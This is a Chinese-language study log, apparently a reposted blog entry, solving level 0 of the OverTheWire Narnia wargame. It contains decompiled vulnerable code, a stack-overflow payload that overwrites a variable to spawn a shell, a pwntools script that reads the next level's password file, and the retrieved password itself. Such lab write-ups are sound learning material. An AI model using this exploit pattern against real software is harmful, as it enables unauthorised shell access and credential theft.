170823 WarGames-Narnia(0)

来源:互联网 发布:ubuntu 查看目录权限 编辑:程序博客网 时间:2024/06/06 01:47

1625-5 王子昂 总结《2017年8月23日》 【连续第324天总结】
A. Narnia
B.

Level 0

文件在/narnia/中,运行narnia0,提示要将value从0x41414141变为0xdeadbeef
拖下来IDA反编译可知

int __cdecl main(int argc, const char **argv, const char **envp){  int buff; // [sp+18h] [bp-18h]@1  signed int value; // [sp+2Ch] [bp-4h]@1  value = 0x41414141;  puts("Correct val's value from 0x41414141 -> 0xdeadbeef!");  printf("Here is your chance: ");  __isoc99_scanf("%24s", &buff);  printf("buf: %s\n", &buff);  printf("val: 0x%08x\n", value);  if ( value != 0xDEADBEEF )  {    puts("WAY OFF!!!!");    exit(1);  }  system("/bin/sh");  return 0;}

很明显,通过buff的溢出来修改value的值
观察可知buff在sp+18h处,value在sp+2C处
因此构造输入’a’ * (0x2C-0x18) + ‘\xef\xbe\xad\xde’即可

顺便学习了pwntools的使用,它需要linux的环境,因此开了kali虚拟机
OverTheWire都是以SSH方式连接的,因此与直接使用remote不同
conn建立SSH连接后,用run方法开启bash,之后就正常使用了
interactive方法可以将shell交还本地,进行其他动作
不过直接发送cat语句可以更快速地看到结果
pw:

efeidiedae

注释部分为down文件和本地测试的过程

脚本:

#!/usr/bin/pythonfrom pwn import *# context(arch = 'i386', os = 'linux')# r = remote('narnia.labs.overthewire.org', 2226)conn = ssh('narnia0', 'narnia.labs.overthewire.org', 2226, password='narnia0')# conn.download_file('/narnia/narnia0')# sh = process('narnia0')sh = conn.run('sh')sh.sendline('/narnia/narnia0')sh.sendline('a' * (0x2c - 0x18) + chr(0xef) + chr(0xbe) + chr(0xad) + chr(0xde))# sh.interactive()print(sh.recvrepeat(timeout=5))sh.sendline('cat /etc/narnia_pass/narnia1')print(sh.recvrepeat(timeout=5))

C. 明日计划
逆向/NarniaPwn